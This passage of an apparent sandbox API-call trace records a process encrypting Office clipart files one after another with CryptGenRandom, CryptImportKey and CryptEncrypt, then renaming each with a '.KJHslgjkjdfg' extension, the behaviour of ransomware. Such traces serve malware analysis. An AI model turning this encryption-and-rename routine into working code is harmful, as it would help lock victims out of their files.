(HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.492] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.492] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.492] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.495] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.495] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.495] GetProcessHeap () returned 0x2a0000 [0190.495] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.495] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.495] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.495] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.495] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.495] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.495] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.495] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.495] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.496] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.496] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.496] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.496] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b0c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b0c, lpOverlapped=0x0) returned 1 [0190.497] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b10) returned 1 [0190.497] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.497] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b10, lpOverlapped=0x0) returned 1 [0190.497] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.497] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.497] SetEndOfFile (hFile=0x114) returned 1 [0190.500] GetProcessHeap () returned 0x2a0000 [0190.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.500] GetProcessHeap () returned 0x2a0000 [0190.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.kjhslgjkjdfg")) returned 1 [0190.504] CloseHandle (hObject=0x114) returned 1 [0190.504] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00915_.WMF", cAlternateFileName="")) returned 1 [0190.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.505] GetProcessHeap () returned 0x2a0000 [0190.505] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.505] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.505] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.505] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.508] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.508] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.508] GetProcessHeap () returned 0x2a0000 [0190.508] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.508] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.508] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.508] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.508] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.508] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.508] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.508] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.508] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.508] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.509] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.509] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.509] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1bf8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1bf8, lpOverlapped=0x0) returned 1 [0190.509] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c00, dwBufLen=0x1c00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c00) returned 1 [0190.510] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.510] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c00, lpOverlapped=0x0) returned 1 [0190.510] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.510] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.510] SetEndOfFile (hFile=0x114) returned 1 [0190.513] GetProcessHeap () returned 0x2a0000 [0190.513] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.513] GetProcessHeap () returned 0x2a0000 [0190.513] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.kjhslgjkjdfg")) returned 1 [0190.514] CloseHandle (hObject=0x114) returned 1 [0190.515] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1270, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00916_.WMF", cAlternateFileName="")) returned 1 [0190.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.516] GetProcessHeap () returned 0x2a0000 [0190.516] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.516] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.516] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.516] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.516] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.516] GetProcessHeap () returned 0x2a0000 [0190.516] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.516] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.516] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.516] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.519] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.519] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.519] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.519] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.519] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.519] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.519] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.519] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.519] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1270, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1270, lpOverlapped=0x0) returned 1 [0190.520] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1270, dwBufLen=0x1270 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1270) returned 1 [0190.520] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.520] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1270, lpOverlapped=0x0) returned 1 [0190.520] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.520] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.520] SetEndOfFile (hFile=0x114) returned 1 [0190.523] GetProcessHeap () returned 0x2a0000 [0190.523] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.523] GetProcessHeap () returned 0x2a0000 [0190.524] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.524] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.kjhslgjkjdfg")) returned 1 [0190.525] CloseHandle (hObject=0x114) returned 1 [0190.526] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00917_.WMF", cAlternateFileName="")) returned 1 [0190.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.527] GetProcessHeap () returned 0x2a0000 [0190.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.527] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.527] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.527] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.529] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.529] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.529] GetProcessHeap () returned 0x2a0000 [0190.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.529] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.530] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.530] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.530] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.530] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.530] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.530] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.530] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.530] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.530] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.530] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.530] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x25ac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x25ac, lpOverlapped=0x0) returned 1 [0190.531] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x25b0, dwBufLen=0x25b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x25b0) returned 1 [0190.531] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.531] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x25b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x25b0, lpOverlapped=0x0) returned 1 [0190.532] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.532] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.532] SetEndOfFile (hFile=0x114) returned 1 [0190.535] GetProcessHeap () returned 0x2a0000 [0190.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.535] GetProcessHeap () returned 0x2a0000 [0190.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.kjhslgjkjdfg")) returned 1 [0190.537] CloseHandle (hObject=0x114) returned 1 [0190.537] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00918_.WMF", cAlternateFileName="")) returned 1 [0190.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.539] GetProcessHeap () returned 0x2a0000 [0190.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.539] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.539] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.539] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.542] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.542] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.542] GetProcessHeap () returned 0x2a0000 [0190.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.542] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.542] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.542] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.542] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, 